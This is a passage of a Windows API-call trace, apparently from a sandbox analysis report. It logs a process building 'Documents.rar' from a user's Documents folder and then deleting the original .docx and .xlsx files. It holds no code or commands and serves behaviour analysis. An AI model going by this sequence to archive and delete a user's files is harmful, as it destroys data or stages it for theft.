CryptUnprotectMemory (in: pDataIn=0x141a0dd310, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd310) returned 1 [0084.509] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2657412, lpDistanceToMoveHigh=0x141a0dd7f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd7f0*=0) returned 0x288c84 [0084.509] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9ed0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9ed0*=0) returned 0x288c84 [0084.509] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c6c0 [0084.509] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c6f0 [0084.509] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c5d0 [0084.509] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c960 [0084.509] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c5d0 | out: hHeap=0x1162e7c0000) returned 1 [0084.510] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c6f0 | out: hHeap=0x1162e7c0000) returned 1 [0084.510] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c6c0, Size=0x48) returned 0x1162e888810 [0084.510] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e888813*, nNumberOfBytesToWrite=0x2c, lpNumberOfBytesWritten=0x141a0d8510, lpOverlapped=0x0 | out: lpBuffer=0x1162e888813*, lpNumberOfBytesWritten=0x141a0d8510*=0x2c, lpOverlapped=0x0) returned 1 [0084.510] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c960 | out: hHeap=0x1162e7c0000) returned 1 [0084.510] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888810 | out: hHeap=0x1162e7c0000) returned 1 [0084.510] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd7f0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd7f0*=0) returned 0x288cb0 [0084.510] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.510] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.510] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0084.510] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.510] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x116421d8040 | out: hHeap=0x1162e7c0000) returned 1 [0084.927] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x116321c6040 | out: hHeap=0x1162e7c0000) returned 1 [0086.917] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8b8c90 | out: hHeap=0x1162e7c0000) returned 1 [0086.917] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11631ebea10 | out: hHeap=0x1162e7c0000) returned 1 [0086.921] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x116461e9040 | out: hHeap=0x1162e7c0000) returned 1 [0086.925] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x116462fa040 | out: hHeap=0x1162e7c0000) returned 1 [0087.427] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11631f3ea20 | out: hHeap=0x1162e7c0000) returned 1 [0087.445] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11631f7ea30 | out: hHeap=0x1162e7c0000) returned 1 [0087.450] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1164a30c040 | out: hHeap=0x1162e7c0000) returned 1 [0087.512] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1164bf14040 | out: hHeap=0x1162e7c0000) returned 1 [0087.521] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163200fae0 | out: hHeap=0x1162e7c0000) returned 1 [0087.521] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632017b80 | out: hHeap=0x1162e7c0000) returned 1 [0087.521] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163201fc20 | out: hHeap=0x1162e7c0000) returned 1 [0087.521] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632027cc0 | out: hHeap=0x1162e7c0000) returned 1 [0087.521] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1164c32e040 | out: hHeap=0x1162e7c0000) returned 1 [0087.536] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=32, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0087.552] WaitForSingleObject (hHandle=0x354, dwMilliseconds=0xffffffff) returned 0x0 [0087.552] CloseHandle (hObject=0x354) returned 1 [0087.552] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0xffffffff) returned 0x0 [0087.552] CloseHandle (hObject=0x358) returned 1 [0087.552] WaitForSingleObject (hHandle=0x35c, dwMilliseconds=0xffffffff) returned 0x0 [0087.552] CloseHandle (hObject=0x35c) returned 1 [0087.552] WaitForSingleObject (hHandle=0x360, dwMilliseconds=0xffffffff) returned 0x0 [0087.553] CloseHandle (hObject=0x360) returned 1 [0087.553] WaitForSingleObject (hHandle=0x364, dwMilliseconds=0xffffffff) returned 0x0 [0087.553] CloseHandle (hObject=0x364) returned 1 [0087.553] WaitForSingleObject (hHandle=0x368, dwMilliseconds=0xffffffff) returned 0x0 [0087.553] CloseHandle (hObject=0x368) returned 1 [0087.553] WaitForSingleObject (hHandle=0x36c, dwMilliseconds=0xffffffff) returned 0x0 [0087.553] CloseHandle (hObject=0x36c) returned 1 [0087.553] WaitForSingleObject (hHandle=0x370, dwMilliseconds=0xffffffff) returned 0x0 [0087.553] CloseHandle (hObject=0x370) returned 1 [0087.553] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0xffffffff) returned 0x0 [0087.553] CloseHandle (hObject=0x374) returned 1 [0087.553] WaitForSingleObject (hHandle=0x378, dwMilliseconds=0xffffffff) returned 0x0 [0087.553] CloseHandle (hObject=0x378) returned 1 [0087.553] WaitForSingleObject (hHandle=0x37c, dwMilliseconds=0xffffffff) returned 0x0 [0087.553] CloseHandle (hObject=0x37c) returned 1 [0087.553] WaitForSingleObject (hHandle=0x380, dwMilliseconds=0xffffffff) returned 0x0 [0087.553] CloseHandle (hObject=0x380) returned 1 [0087.554] WaitForSingleObject (hHandle=0x384, dwMilliseconds=0xffffffff) returned 0x0 [0087.554] CloseHandle (hObject=0x384) returned 1 [0087.554] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0 [0087.554] CloseHandle (hObject=0x388) returned 1 [0087.554] WaitForSingleObject (hHandle=0x38c, dwMilliseconds=0xffffffff) returned 0x0 [0087.554] CloseHandle (hObject=0x38c) returned 1 [0087.554] WaitForSingleObject (hHandle=0x390, dwMilliseconds=0xffffffff) returned 0x0 [0087.554] CloseHandle (hObject=0x390) returned 1 [0087.554] WaitForSingleObject (hHandle=0x394, dwMilliseconds=0xffffffff) returned 0x0 [0087.554] CloseHandle (hObject=0x394) returned 1 [0087.554] WaitForSingleObject (hHandle=0x398, dwMilliseconds=0xffffffff) returned 0x0 [0087.554] CloseHandle (hObject=0x398) returned 1 [0087.554] WaitForSingleObject (hHandle=0x39c, dwMilliseconds=0xffffffff) returned 0x0 [0087.554] CloseHandle (hObject=0x39c) returned 1 [0087.554] WaitForSingleObject (hHandle=0x3a0, dwMilliseconds=0xffffffff) returned 0x0 [0087.554] CloseHandle (hObject=0x3a0) returned 1 [0087.554] WaitForSingleObject (hHandle=0x3a4, dwMilliseconds=0xffffffff) returned 0x0 [0087.554] CloseHandle (hObject=0x3a4) returned 1 [0087.554] WaitForSingleObject (hHandle=0x3a8, dwMilliseconds=0xffffffff) returned 0x0 [0087.554] CloseHandle (hObject=0x3a8) returned 1 [0087.554] WaitForSingleObject (hHandle=0x3ac, dwMilliseconds=0xffffffff) returned 0x0 [0087.554] CloseHandle (hObject=0x3ac) returned 1 [0087.554] WaitForSingleObject (hHandle=0x3b0, dwMilliseconds=0xffffffff) returned 0x0 [0087.554] CloseHandle (hObject=0x3b0) returned 1 [0087.555] WaitForSingleObject (hHandle=0x3b4, dwMilliseconds=0xffffffff) returned 0x0 [0087.555] CloseHandle (hObject=0x3b4) returned 1 [0087.555] WaitForSingleObject (hHandle=0x3b8, dwMilliseconds=0xffffffff) returned 0x0 [0087.555] CloseHandle (hObject=0x3b8) returned 1 [0087.555] WaitForSingleObject (hHandle=0x3bc, dwMilliseconds=0xffffffff) returned 0x0 [0087.555] CloseHandle (hObject=0x3bc) returned 1 [0087.555] WaitForSingleObject (hHandle=0x3c0, dwMilliseconds=0xffffffff) returned 0x0 [0087.555] CloseHandle (hObject=0x3c0) returned 1 [0087.555] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xffffffff) returned 0x0 [0087.555] CloseHandle (hObject=0x3c4) returned 1 [0087.555] WaitForSingleObject (hHandle=0x3c8, dwMilliseconds=0xffffffff) returned 0x0 [0087.555] CloseHandle (hObject=0x3c8) returned 1 [0087.555] WaitForSingleObject (hHandle=0x3cc, dwMilliseconds=0xffffffff) returned 0x0 [0087.555] CloseHandle (hObject=0x3cc) returned 1 [0087.555] WaitForSingleObject (hHandle=0x3d0, dwMilliseconds=0xffffffff) returned 0x0 [0087.555] CloseHandle (hObject=0x3d0) returned 1 [0087.555] CloseHandle (hObject=0x340) returned 1 [0087.555] CloseHandle (hObject=0x344) returned 1 [0087.555] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e89d1e0 | out: hHeap=0x1162e7c0000) returned 1 [0087.555] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x116320bc040 | out: hHeap=0x1162e7c0000) returned 1 [0087.559] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163028ed90 | out: hHeap=0x1162e7c0000) returned 1 [0087.559] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x116320a6170 | out: hHeap=0x1162e7c0000) returned 1 [0087.559] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x116320a74a0 | out: hHeap=0x1162e7c0000) returned 1 [0087.559] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209e160 | out: hHeap=0x1162e7c0000) returned 1 [0087.559] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e894b50 | out: hHeap=0x1162e7c0000) returned 1 [0087.559] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632092140 | out: hHeap=0x1162e7c0000) returned 1 [0087.559] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x116320a7180 | out: hHeap=0x1162e7c0000) returned 1 [0087.559] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163208a130 | out: hHeap=0x1162e7c0000) returned 1 [0087.559] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x116320a7310 | out: hHeap=0x1162e7c0000) returned 1 [0087.559] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632082120 | out: hHeap=0x1162e7c0000) returned 1 [0087.561] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e88f6f0 | out: hHeap=0x1162e7c0000) returned 1 [0087.561] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163207a110 | out: hHeap=0x1162e7c0000) returned 1 [0087.562] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e89dcc0 | out: hHeap=0x1162e7c0000) returned 1 [0087.562] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632054440 | out: hHeap=0x1162e7c0000) returned 1 [0087.562] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11630287b40 | out: hHeap=0x1162e7c0000) returned 1 [0087.562] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163023fb20 | out: hHeap=0x1162e7c0000) returned 1 [0087.564] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e896eb0 | out: hHeap=0x1162e7c0000) returned 1 [0087.564] ReleaseSemaphore (in: hSemaphore=0x348, lReleaseCount=32, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0087.564] CloseHandle (hObject=0x348) returned 1 [0087.564] CloseHandle (hObject=0x34c) returned 1 [0087.564] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e89d540 | out: hHeap=0x1162e7c0000) returned 1 [0087.564] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163027fb30 | out: hHeap=0x1162e7c0000) returned 1 [0087.565] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8b0c80 | out: hHeap=0x1162e7c0000) returned 1 [0087.565] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11631eb0080 | out: hHeap=0x1162e7c0000) returned 1 [0087.567] GetTickCount () returned 0x2baab [0087.567] GetLastError () returned 0x0 [0087.567] SetLastError (dwErrCode=0x0) [0087.567] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0087.567] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0087.567] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0dbf50, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0087.567] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0087.568] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd7d0 | out: lpPerformanceCount=0x141a0dd7d0*=17889674789) returned 1 [0087.568] GetTickCount () returned 0x2baab [0087.568] GetLastError () returned 0x0 [0087.568] SetLastError (dwErrCode=0x0) [0087.568] GetDlgItem (hDlg=0x102f8, nIDDlgItem=154) returned 0x1030a [0087.568] GetWindowTextW (in: hWnd=0x1030a, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="00:00:03") returned 8 [0087.568] SetWindowTextW (hWnd=0x1030a, lpString="00:00:06") returned 1 [0087.569] GetTickCount () returned 0x2babb [0087.569] GetLastError () returned 0x0 [0087.569] SetLastError (dwErrCode=0x0) [0087.569] GetDlgItem (hDlg=0x102f8, nIDDlgItem=151) returned 0x1030e [0087.569] GetWindowTextW (in: hWnd=0x1030e, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="00:00:00") returned 8 [0087.569] GetTickCount () returned 0x2babb [0087.569] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x141a0dd388 | out: ppv=0x141a0dd388*=0x1163209c780) returned 0x0 [0087.569] TaskbarList:ITaskbarList3:SetProgressState (This=0x1163209c780, hwnd=0x102f8, tbpFlags=2) returned 0x0 [0087.570] TaskbarList:ITaskbarList3:SetProgressValue (This=0x1163209c780, hwnd=0x102f8, ullCompleted=0x31d668, ullTotal=0x31d668) returned 0x0 [0087.570] TaskbarList:IUnknown:Release (This=0x1163209c780) returned 0x0 [0087.570] GetLastError () returned 0x36b7 [0087.570] SetLastError (dwErrCode=0x36b7) [0087.570] GetDlgItem (hDlg=0x102f8, nIDDlgItem=157) returned 0x1031a [0087.570] GetDlgItem (hDlg=0x102f8, nIDDlgItem=152) returned 0x10318 [0087.570] GetWindowTextW (in: hWnd=0x10318, lpString=0x141a0dbf50, nMaxCount=2560 | out: lpString=" 99%") returned 5 [0087.570] SetWindowTextW (hWnd=0x10318, lpString=" 100%") returned 1 [0087.571] GetLastError () returned 0x0 [0087.571] SetLastError (dwErrCode=0x0) [0087.571] GetDlgItem (hDlg=0x102f8, nIDDlgItem=164) returned 0x10314 [0087.571] GetWindowTextW (in: hWnd=0x10314, lpString=0x141a0dbf50, nMaxCount=2560 | out: lpString=" 79%") returned 5 [0087.571] SetWindowTextW (hWnd=0x10314, lpString=" 81%") returned 1 [0087.571] SendMessageW (hWnd=0x1031a, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x63 [0087.572] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 1 [0087.578] GetMessageW (in: lpMsg=0x141a0dd830, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd830) returned 1 [0087.580] GetFocus () returned 0x1031c [0087.581] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd830) returned 1 [0087.581] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd7f0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd7f0*=0) returned 0x288cb0 [0087.581] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd820*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd820*=0) returned 0x288cb0 [0087.581] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c570 [0087.581] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c570, Size=0x73) returned 0x1163204e670 [0087.581] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204e670, Size=0xaf) returned 0x1162e7f5680 [0087.581] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e7f5680, Size=0xfa) returned 0x1162e883900 [0087.581] SetFilePointer (in: hFile=0x32c, lDistanceToMove=8, lpDistanceToMoveHigh=0x141a0dd7f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd7f0*=0) returned 0x8 [0087.581] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9ed0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9ed0*=0) returned 0x8 [0087.581] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c7e0 [0087.581] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c960 [0087.581] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c1b0 [0087.581] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c5a0 [0087.581] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c1b0 | out: hHeap=0x1162e7c0000) returned 1 [0087.581] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c960 | out: hHeap=0x1162e7c0000) returned 1 [0087.581] WriteFile (in: hFile=0x32c, lpBuffer=0x1163209c7e3*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x141a0d8510, lpOverlapped=0x0 | out: lpBuffer=0x1163209c7e3*, lpNumberOfBytesWritten=0x141a0d8510*=0x11, lpOverlapped=0x0) returned 1 [0087.582] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c5a0 | out: hHeap=0x1162e7c0000) returned 1 [0087.582] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c7e0 | out: hHeap=0x1162e7c0000) returned 1 [0087.582] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2657456, lpDistanceToMoveHigh=0x141a0dd7f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd7f0*=0) returned 0x288cb0 [0087.582] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd750*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd750*=0) returned 0x288cb0 [0087.582] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c270 [0087.582] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c270 | out: hHeap=0x1162e7c0000) returned 1 [0087.582] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9e00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9e00*=0) returned 0x288cb0 [0087.582] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cd20 [0087.582] WriteFile (in: hFile=0x32c, lpBuffer=0x1163209cd23*, nNumberOfBytesToWrite=0x13, lpNumberOfBytesWritten=0x141a0d8440, lpOverlapped=0x0 | out: lpBuffer=0x1163209cd23*, lpNumberOfBytesWritten=0x141a0d8440*=0x13, lpOverlapped=0x0) returned 1 [0087.582] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209cd20 | out: hHeap=0x1162e7c0000) returned 1 [0087.582] WriteFile (in: hFile=0x32c, lpBuffer=0x1163022fb10*, nNumberOfBytesToWrite=0x1c18, lpNumberOfBytesWritten=0x141a0dd830, lpOverlapped=0x0 | out: lpBuffer=0x1163022fb10*, lpNumberOfBytesWritten=0x141a0dd830*=0x1c18, lpOverlapped=0x0) returned 1 [0087.582] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e883900 | out: hHeap=0x1162e7c0000) returned 1 [0087.582] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0db840*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0db840*=0) returned 0x28a8db [0087.583] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d7f20*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d7f20*=0) returned 0x28a8db [0087.583] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c330 [0087.583] WriteFile (in: hFile=0x32c, lpBuffer=0x1163209c333*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x141a0d6560, lpOverlapped=0x0 | out: lpBuffer=0x1163209c333*, lpNumberOfBytesWritten=0x141a0d6560*=0x8, lpOverlapped=0x0) returned 1 [0087.583] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c330 | out: hHeap=0x1162e7c0000) returned 1 [0087.583] CloseHandle (hObject=0x32c) returned 1 [0087.655] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x33f, lpBuffer=0x7ff6f764fa30, cchBufferMax=512 | out: lpBuffer="Deleting") returned 0x8 [0087.655] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x60) returned 0x11632050480 [0087.655] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632050480 | out: hHeap=0x1162e7c0000) returned 1 [0087.655] DeleteFileW (lpFileName="_jIR7aHVEY1Y7.docx" (normalized: "c:\\users\\fd1hvy\\documents\\_jir7ahvey1y7.docx")) returned 1 [0087.656] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.656] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.656] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="adding") returned 6 [0087.656] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.657] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.657] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="Outlook Files") returned 13 [0087.657] SetWindowTextW (hWnd=0x10300, lpString="_jIR7aHVEY1Y7.docx") returned 1 [0087.657] GetTickCount () returned 0x2bb09 [0087.657] UpdateWindow (hWnd=0x102f8) returned 1 [0087.658] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.658] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.658] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.659] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.659] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="_jIR7aHVEY1Y7.docx") returned 18 [0087.659] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.659] GetTickCount () returned 0x2bb09 [0087.659] GetLastError () returned 0x0 [0087.659] SetLastError (dwErrCode=0x0) [0087.659] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0087.659] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0087.659] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0dbe80, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0087.659] SetWindowTextW (hWnd=0x10302, lpString=" 1%") returned 1 [0087.660] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x1, lParam=0x0) returned 0x0 [0087.660] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17898830696) returned 1 [0087.660] GetTickCount () returned 0x2bb09 [0087.660] GetTickCount () returned 0x2bb09 [0087.660] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0087.660] GetMessageW (in: lpMsg=0x141a0dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd720) returned 1 [0087.660] GetFocus () returned 0x1031c [0087.660] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 0 [0087.660] GetKeyState (nVirtKey=16) returned 0 [0087.660] TranslateAcceleratorW (hWnd=0x102f8, hAccTable=0x1033f, lpMsg=0x141a0dd720) returned 0 [0087.660] TranslateMessage (lpMsg=0x141a0dd720) returned 0 [0087.660] DispatchMessageW (lpMsg=0x141a0dd720) returned 0x7f44 [0087.660] DeleteFileW (lpFileName="XvD0nTrkTg7W8h.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\xvd0ntrktg7w8h.xlsx")) returned 1 [0087.670] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.670] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.670] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.670] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.671] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.671] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.671] SetWindowTextW (hWnd=0x10300, lpString="XvD0nTrkTg7W8h.xlsx") returned 1 [0087.671] GetTickCount () returned 0x2bb18 [0087.671] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.671] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.671] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.671] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.672] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="XvD0nTrkTg7W8h.xlsx") returned 19 [0087.672] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.672] GetTickCount () returned 0x2bb18 [0087.672] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17900048800) returned 1 [0087.672] GetTickCount () returned 0x2bb18 [0087.672] GetTickCount () returned 0x2bb18 [0087.672] PeekMessageW (in: 